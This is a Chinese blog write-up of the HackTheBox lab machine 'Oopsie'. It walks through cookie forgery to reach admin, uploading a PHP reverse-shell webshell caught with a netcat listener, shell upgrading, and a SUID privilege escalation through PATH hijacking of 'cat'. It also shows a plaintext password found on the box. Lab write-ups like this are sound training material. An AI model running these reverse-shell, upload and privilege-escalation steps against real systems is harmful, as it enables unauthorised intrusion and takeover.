HTB——Oopsie

张开发
2026/4/6 4:06:44 15 分钟阅读

分享文章

HTB——Oopsie
大概流程端口扫描 -- js接口提取 -- 垂直越权 -- 文件上传GetShell -- SUID提权1、端口扫描nmap --top-ports 100 10.129.29.1932、js接口提取查看网络源代码发现登录接口/cdn-cgi/login3、cookie伪造将role改为admin,且url上的id改为1得到admin的Access ID接着将得到的Access ID替换原来的user的value值实现垂直越权4、文件上传Getshell上传一个反弹shell的木马php文件ip地址改成自己的vpn地址端口改成9999攻击者nc -lvnp 9999curl http://10.129.29.193/uploads/reverse.php //向目标服务器发送HTTPB GET请求CURL是一个命令行工具和库用于使用各种网络协议传输数据5、横向移动在/var/www/html/cdn-cgi/login/目录下发现robert的密码M3g4C0rpUs3r!尝试切换用户切换交互式shell以下任意一条命令SHELL/bin/bash script -q /dev/nullpython3 -c import pty;pty.spawn(/bin/bash)非交互式shell将目标机的命令输入/输出通过网络管道重定向到攻击机没有伪终端很多操作命令无法实现交互式shell有伪终端支持有关操作命令如su/sudo查看当前用户和所属组的身份信息id发现robert用户归属于bugtracker用户组查看当前用户和所属组的身份信息id发现robert用户归属于bugtracker用户组示例$ iduid1000(alice) gid1000(alice) groups1000(alice),4(adm),24(cdrom)uid (User ID)用户ID号及用户名id (Group ID)主组ID号及组名groups用户所属的所有组接着输入以下命令find / -type f -group bugtracker 2/dev/null //-type f 为查找普通文档-group bugtracker限定查找的组为bugtracker2/dev/null将错误输出到黑洞不显示ls -al /usr/bin/bugtracker //-al 以长格式方式显示并且显示隐藏文件6、SUID提权当一个文件被设置了SUID位时任何执行该文件的用户都将以文件所有者的权限执行程序而不是以执行者的权限执行文件所有者权限指的是文件或目录的创建者拥有者对该文件所具有的操作权限查看二进制文件中的字符串strings /usr/bin/bugtracker从运行结果来看bugtracker调用了cat且为绝对路径利用PATH环境变量劫持catexport PATH/tmp:$PATH //修改PATH环境变量将/tmp目录置于最前cd /tmp/ //切换到/tmp目录下echo /bin/sh cat //创建名为cat的文件内容为/bin/sh创建了一个脚本执行时会启动一个shell由于bugtracker有root权限通常通过setuid所以获得root shellchmod x cat //赋予执行权限bugtracker再次调用cat命令时实际上调用的是/tmp目录下的恶意的cat命令运行/usr/bin/bugtracker此时robert用户临时具有了root权限执行id命令发现只是robert用户的uid变为了root不是真正的root用户

更多文章